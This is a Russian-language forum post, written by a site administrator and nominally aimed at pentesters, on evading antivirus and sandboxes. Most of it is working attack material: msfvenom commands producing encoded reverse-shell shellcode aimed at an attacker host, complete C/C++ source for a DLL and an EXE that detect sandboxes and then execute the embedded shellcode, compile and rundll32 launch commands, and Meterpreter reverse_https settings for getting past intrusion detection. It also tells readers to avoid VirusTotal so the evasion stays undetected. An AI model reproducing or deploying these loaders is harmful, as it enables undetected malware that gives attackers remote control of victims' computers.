Методы обхода антивирусов

  • Гость, группы пользователей ещё в процессе настройки, поэтому многие функции пока что недоступны. Приносим свои извинения за возможные неудобства.

Wolf

Администратор
Команда форума
3 Апр 2019
181
86
34

Как упоминается в статьях CIA Wikileaks, антивирусное программное обеспечение можно обойти, приложив некоторые усилия. И, несмотря на то, что эта статья предназначена в первую очередь для пентестеров, она также покажет, какими способами можно обойти антивирусные программы и ограничения.
Здесь представлены некоторые идеи о том, как работают xak пентестеры. Будут рассмотрены некоторые основы, которые используются для обхода антивирусного программного обеспечения, но, как вы сами понимаете, этим данный список не ограничен...
Иногда при тестировании на проникновение можно столкнуться с ситуацией, когда антивирусное программное обеспечение всегда обнаруживает ваши полезные нагрузки. В этих случаях вам нужен хороший способ обхода антивирусов. Описанные ниже методы довольно общи, но работают практически со всеми антивирусами.
Поскольку основная полезная нагрузка выполняется с помощью msfvenom, можно утверждать, что полезная нагрузка(метод) должна "палиться" AV.
Кстати, метод обхода антивирусов также уклоняется от песочницы. Уклонение так же просто, как попытка открыть какой-либо файл, который обязательно существует при каждой установке-использовании. Например. "C: \ windows \ system.ini" - обычный, но важный ini-файл. Если этого не существует, мы находимся в среде песочницы, созданной антивирусным программным обеспечением, поэтому мы просто ничего не делаем. Когда осуществляется переход в нормальную среду, файл найден, тогда полезная нагрузка выполняется. Отправив файл на Virustotal.com, мы получим вероятность обнаружения 1/59 - всего одно антивирусное ядро обнаружило "подставу".
Кстати, напоминание новичкам и забывчивым (я добавляю от себя лично):
Отправляя файлы на Virustotal.com, вы сами "палите" методы обхода, способы упаковки и шифрования, ведь антивирусные компании получают файл в качестве образца. И он будет немедленно внесен в базы (и способ его получения).

Есть еще онлайн-сканеры. К примеру, я вот вытащил из обсуждений на форуме:
http://nodistribute.com/
http://stopvir.us/
Используемое программное обеспечение:
  • Metasploit (msfvenom, multi/handler)
  • MinGW
  • Notepad
Ограничения
Нужно отметить, что Windows Defender и, возможно, большинство антивирусных программ станут "сигналить" о том, что "какая-то программа пытается подключиться к Интернету". Конечно, в ситуации тестирования на проникновение это может быть показательно по причине грубого написания кода эксплойта, который - напоминаю - нужен нам исключительно для тестирования на проникновение. Тем не менее, если вам удастся получить оболочку, изменив .dll какого-либо программного обеспечения и(или) обманув пользователя для запуска исполняемого файла, вы можете легко получить управление атакуемым ПК. Здесь можно перенести шеллкод на какой-то уже существующий процесс, который уже имеет доступ к Интернету, использовать существующие программы для запуска вредоносного кода, чтобы обойти ограничения на whitelisting. Способов избежать ограничений - множество.
Конечно, в сети атакуемых могут быть некоторые системы межсетевых экранов /IPS /IDS, но их также можно пробовать обойти, например - используя SSL-кодированное соединение обратно к жертве. Но этот вопрос выходит за рамки данной статьи и гораздо серьезнее, чтобы быть рассмотренным в открытой ветке.
Настройка полезной нагрузки
Полезная нагрузка генерируется с помощью msfvenom, который является частью пакета Metasploit. С msfvenom можно создавать исполняемые файлы и dll-файлы прямо по ходу организации атаки, но, поскольку мы пытаемся уклониться от антивируса, то мы создаем полезную нагрузку в формате вывода C-стиля с помощью следующей команды:

Код:
msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
DLL Method
Одним из способов обхода антивирусного программного обеспечения может быть создание вредоносного *.dll-файла и подмена некоторых существующих .dll на него несколькими способами.
Как обычно .exe-файлы считаются опасными, они на виду и запоминаются в процессе работы даже простыми пользователями. Но DLL-файлов гораздо больше и простые пользователи обычно не распознают DLL-файлы, как вредоносные. А потому в них куда проще внедрить участок кода.
Для целей тестирования этот фрагмент кода - это очень грубый .dll-файл, который можно запустить из командной строки и который не имеет каких-либо других функций.

Код:
#include
    #include
    #ifdef EXPORTING_DLL
    extern __declspec(dllexport) void Checksandboxing() ;
    #else
    extern __declspec(dllimport) void Checksandboxing() ;
    #endif


    extern "C" BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
    ) {
    switch(fdwReason) {
    case DLL_PROCESS_ATTACH:
    CheckSandboxing();
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    default:
    break;
  }
  return TRUE;
}

void CheckSandboxing()
{
  /** Test for some existing system file, sandbox evasion **/
  std::ifstream dllfile("c:\\windows\\system.ini", std::ios::binary);
  if (!dllfile)
  {
   MessageBox( NULL, TEXT("Running in sandbox"), TEXT("Sandbox"), MB_OK);   
 }
 else
 {
   MessageBox( NULL, TEXT("Real system, running exploit"), TEXT("Real"), MB_OK);     


   /** msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c  **/
   unsigned char shellcode[] =
   "\xbd\xf8\x13\x49\xa2\xda\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
   "\x6f\x83\xc2\x04\x31\x6a\x0f\x03\x6a\xf7\xf1\xbc\x19\x44\xae"
   "\x68\x86\x91\x90\x4c\x42\x01\xd9\x32\x82\x80\x90\xa5\xe5\x4f"
   "\xc7\x36\x5b\x7b\x64\xfd\x67\x22\xc7\x73\x73\xbb\xf3\x22\x3e"
   "\x09\x29\x81\x17\x8d\xb9\x87\x1f\xd4\x8c\x23\xc9\x65\x07\xc9"
   "\xc0\xd9\x46\x6d\xe3\xff\x34\x31\x74\xa7\x67\xec\x23\xb4\x53"
   "\x83\x31\xbe\x71\xda\x48\x30\x28\x16\x1e\xb9\x5e\x50\xa5\xf0"
   "\xe7\x80\x07\x07\x04\x91\xab\xfc\x2b\xd1\x74\xcd\x3d\x11\x7e"
   "\x77\xf5\x4b\xd4\x6a\x9f\x2d\xec\x28\x72\xd6\xa7\x87\x56\x97"
   "\x89\xe1\x2b\x46\x72\x04\x56\x23\xd2\x17\x96\x62\x85\x7c\xd0"
   "\x9e\xe8\x24\x92\x59\x3f\x58\x3e\xf4\x66\xf0\xdf\x56\xf0\xf0"
   "\x72\x96\x21\xae\xb7\x9c\x26\x33\x7d\x11\xec\x14\x44\x0c\xb9"
   "\x0d\x50\xca\xb6\xf6\xb3\xab\xd7\x93\x6d\xfb\xe9\x20\x6b\x0f"
   "\xf4\xda\x61\xb3\xed\x40\xf9\xea\xcc\xba\xd4\x92\xbe\x15\x11"
   "\xe4\xba\x22\xdc\x43\xb7\x15\xeb\x5d\x45\x79\x41\xa5\x25\xe7"
   "\x8e\xa2\x8e\x97\x7d\xae\xf4\x1e\x50\x22\x4c\xb7\xfc\x08\x21"
   "\xed\xb4\x1d\xde\xff\x1a\x7a\x37\x98\xa3\xcd\x47\xfa\x10\x1a"
   "\xff\x57\x52\x6c\xff\x39\x92\xe6\x53\x05\x67\xd9\xcf\x51\x01"
   "\x4f\x0c\x18\x66\x81\x4a\x02\x2d\x79\xe5\x0c\x80\xe3\xe4\xce"
   "\x61\x18\xc2\x9c\xc8\xe5\xda\x31\xad\x2b\x63\xe3\xae\xf2\x81"
   "\xd0\x0d\x26\xd9\xe5\x64\x73\x8a\x70\x71\x2f\x88\x4c\x72\xba"
   "\xef\xd5\x26\x39\x2c\x42\xe6\xd9\x93\xb7\x69\xd9\x49\xcd\x72"
   "\x10\x52\x1e\x76\x11\xb5\xa9\x6c\xc7\x45\xcc\xa9\xf0\x83\x75"
   "\xa7\x85\xcb\x34\x0a\x50\x1d\xf5\xe5\x6c\xbc\x88\xda\xe1\x0f"
   "\xa9\xe8\xe8\xf0\xc4\x1e\x83\xa1\xdf\xad\xaa\x9f\x1d\xa7\x82"
   "\x71\x6c\xbd\x8b\x02\x6d\x54\xf7\x42\xae\x68\x24\x9f\xf8\x73"
   "\xb9\x8a\x67\xa6\xef\x32\xdf\x21\xf2\x9a\xea\x10\xc6\x19\xcf"
   "\x11\x55\x61\xfc\xfe\xf1\x51\x49\xbc\x04\x9f\xe0\x9a\x09\x4e"
   "\x19\x2f\xb1\x20\x76\xac\x90\x3d\x48\x2b\x24\x23\xa6\xa1\x2e"
   "\x85\x35\xf7\x47\x8f\x49\xa3\xa0\x7a\x65\x22\x17\x5d\x72\x31"
   "\xb3\x2e\x38\xdf\xe7\xea\x83\xdd\xdf\xdd\x9c\xdb\x5a\x46\x4d"
   "\xd3\xa0\x31";
  


   LPVOID lpAlloc = NULL;
   void (*shellfunc)();

   /** Allocate memory for shellcode (read,write,execute) **/
   lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   if(lpAlloc == NULL)
   {
    printf("Error allocating memory!\n");
  }
  else
  {
    memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode)+1);
    shellfunc = (void (*)())lpAlloc;
    shellfunc();       
  }

  /** Sleep for a bit **/
  Sleep(500);
}
}
Компиляция .dll выполняется следующим образом с помощью MinGW
Код:
"c:\MinGW\bin\mingw32-g++.exe" -c c:\dll_test\main.cpp
  "c:\MinGW\bin\mingw32-g++.exe" -shared -o exploittest.dll main.o -Wl,--out-implib,libexample_dll.a
Теперь .dll можно проверить с помощью антивирусного программного обеспечения, проверяя с Virustotal.com: (напоминаю, что эти действия автора не рекомендуются!)

Не обнаружено ничего (0/60) антивирусным программным обеспечением. (а вот после проверки - наверняка будет!)
Теперь, чтобы проверить эксплойт в деле, установим multi/handler meterpreter для ожидания соединения.
И запускаем полезную нагрузку из эксплойта с помощью следующей команды в командной строке:

Код:
Rundll32 exploittest.dll,@DllMain
Шеллкод внутри .dll подключается обратно к атакующему, а оболочка теперь создана! Конечно, в реальной ситуации это остановит всю работу, но оболочка - это далеко не единственное, что может быть помещено в DLL-файл.
Исполняемые
Как и с .dll-файлом, проверим уклонение от песочницы, проверяя какой-либо существующий системный файл. Если файл найден, выполнение кода переносится в полезную нагрузку.

Код:
#include
  // msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.8 lport=4321 -e x86/shikata_ga_nai -i 5 -f c
  char code[] =
  "\xdb\xda\xd9\x74\x24\xf4\x5e\x33\xc9\xb8\xcd\x9f\x5f\xe9\xb1"
  "\x6f\x31\x46\x18\x83\xee\xfc\x03\x46\xd9\x7d\xaa\x34\x23\x58"
  "\x21\xe3\x57\x06\x74\x2d\xf6\x97\x42\x9b\x31\x56\x3a\xed\xb4"
  "\x80\x38\xc8\x32\xb0\x4b\xc6\x1e\x22\x25\xdb\xc1\xd8\x32\x06"
  "\xc8\x19\x31\x8f\x0f\x09\x7c\xf8\x63\x78\x9d\x37\x00\x37\x86"
  "\x02\xf6\x63\xe6\x8b\xfc\xc1\xba\x1a\x88\x74\x60\xed\xc0\xad"
  "\x2a\x5b\xf2\xd3\x80\x19\xa9\x0e\x2e\x0c\x88\x36\xcf\xdb\x27"
  "\x84\x06\xbf\x25\x91\x64\x09\x1d\xf1\x19\x2f\xd6\xa2\x6d\x6d"
  "\x2a\x4e\xeb\xa4\x00\x91\x35\x57\x28\xbd\xd6\x10\x13\xad\x5d"
  "\xea\x23\x25\x9d\x14\x11\xc5\x8e\x8e\x46\x7b\x28\xe1\x3b\xf3"
  "\xd2\x4e\x39\xf0\x5d\x4a\xce\x64\xa7\x82\xc2\x7f\x72\x34\x96"
  "\xb4\xf9\x8d\xfe\x94\x11\x37\x88\xc3\xd7\xcb\xb5\x37\xb3\x1c"
  "\xc2\x58\xcc\x08\x37\x35\xea\x67\xff\x97\x01\x92\xf8\x33\x82"
  "\x5d\x3e\x48\xff\xe3\x96\x75\x18\x95\xcf\xc4\x07\xe5\xa4\x73"
  "\x38\xd4\x21\xe1\xb4\x96\x40\x52\x76\xdf\xe1\x60\x2c\xaf\x5d"
  "\xb3\xe4\xff\x89\x6b\x49\x3e\x7e\x2d\x0b\x33\xa0\x54\x8d\x9b"
  "\x40\x5b\x2e\xfe\x62\x1f\x48\x21\x69\x6e\x99\x08\xc2\xc2\xc3"
  "\x69\x53\x3f\x84\x8e\x79\xdb\xca\xeb\x3f\xcf\xd8\x8c\xf8\x0a"
  "\xed\x59\xcb\x6e\x82\xb4\x07\x00\xc3\x13\xed\x2e\x67\xf5\xc8"
  "\xfd\x1c\x24\x6a\x95\x3d\x90\x43\x29\xba\x29\xff\x22\x2b\x48"
  "\xa7\x7d\xb0\x3d\x56\x71\x30\x95\xdd\x69\x51\x2e\x0f\x3d\x5d"
  "\x19\xbd\xfa\x06\xf9\x02\xfd\xed\x08\x27\xb8\x21\x11\xd7\xc4"
  "\xd5\xca\xbb\x2a\xd4\xe7\x64\x65\x81\x50\x7b\xbd\xbd\xcb\xc0"
  "\x15\x05\xff\x78\xee\x8b\x38\x2b\x28\x52\x56\xb2\x49\xc4\x44"
  "\x39\xba\x76\x84\xeb\x0d\xa4\x53\x38\x4e\x77\x05\xc4\xa7\x94"
  "\xd4\xe9\xbf\x1d\xb7\xc1\x6f\x5f\xa6\x62\xe4\x91\x48\x3c\xd4"
  "\x6e\xce\xf1\x5f\xfd\x6c\x52\x8c\x59\x5c\x71\x63\x30\x81\x2e"
  "\x63\x6f\xbc\x43\x0b\xab\x37\xdb\xbf\x48\x22\xda\xdb\x3d\x04"
  "\xab\x5b\x6e\xfd\x3e\xfb\xfe\xb8\x4b\xa8\x72\xeb\x71\xbb\x0a"
  "\xeb\xb2\x56\xcb\xb9\x14\xcf\x7a\xa5\xc3\x5d\x34\x4f\xfa\x55"
  "\x54\x9d\x10\xe5\x26\xbc\x61\x56\xc7\x79\x8d\x64\x7a\x06\x50"
  "\x07\xdd\xc6";

  int main(int argc, char **argv)
  {
    FILE *fp = fopen("c:\\windows\\system.ini", "rb");
    if (fp == NULL)
    return 0;
    fclose(fp);

    printf("Launching...again...");
    int (*func)();
    func = (int (*)()) code;
    return 0;
    (int)(*func)();
    printf("...DONE!");
  }
Компиляция выполняется просто путем выпуска:

Код:
c:\MinGW\bin\mingw32-gcc.exe exploittest.c -o exploittest.exe
В этот раз после проверки в онлайн-сканере только Baidu заметил, что это - троян. Интересующиеся могут пометить для себя: а ПОЧЕМУ и вернуться к этому вопросу позднее.
Чтобы проверить это, multi/handler может быть настроен так же, как в DLL-методе чуть выше (обратите внимание, на другую полезную нагрузку) просто выполнив файл.
Злонамеренная полезная нагрузка через системы /IPS /IDS
В случае наличия систем /IPS / IDS перед жертвой эти файлы должны пройти через них, но они будут пойманы. Если фактические файлы будут пойманы, просто создайте защищенный паролем ZIP-файл и получите файлы, к примеру, через HTTP. Итак, что-то вроде windows / meterpreter / reverse_https можно использовать в качестве полезной нагрузки со следующими изменениями параметров:

Код:
EnableStageEncoding true
  MeterpreterServerName Nginx
  MeterpreterUserAgent Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, например, Gecko) Chrome / 41.0.2228.0 Safari / 537.36
  StageEncoder (один из ниже)
  x86 / fnstenv_mov
  x86 / shikata_ga_nai
С этими изменениями можно пытаться пройти через брандмауэры с включенными системами /IPS / IDS.
Ну и если все остальное терпит неудачу, то всегда есть dnscat
ВЫВОД
Поскольку атакуемый получит эксплойт (троян), который не обнаружен антивирусными программами, вы получаете управление атакуемым компьютером. Конечно, Windows Defender и антивирус имеют ограничения на новые подключения, но, к сожалению, эти сообщения игнорируются очень часто. Поскольку антивирус ничего не находит, многие чувствуют себя в безопасности.
Нет и еще раз нет! Основная часть ответственности за безопасность по-прежнему лежит на плечах пользователей, а антивирусам / брандмауэрам /IPS /IDS нельзя доверять, чтобы быть защищенными.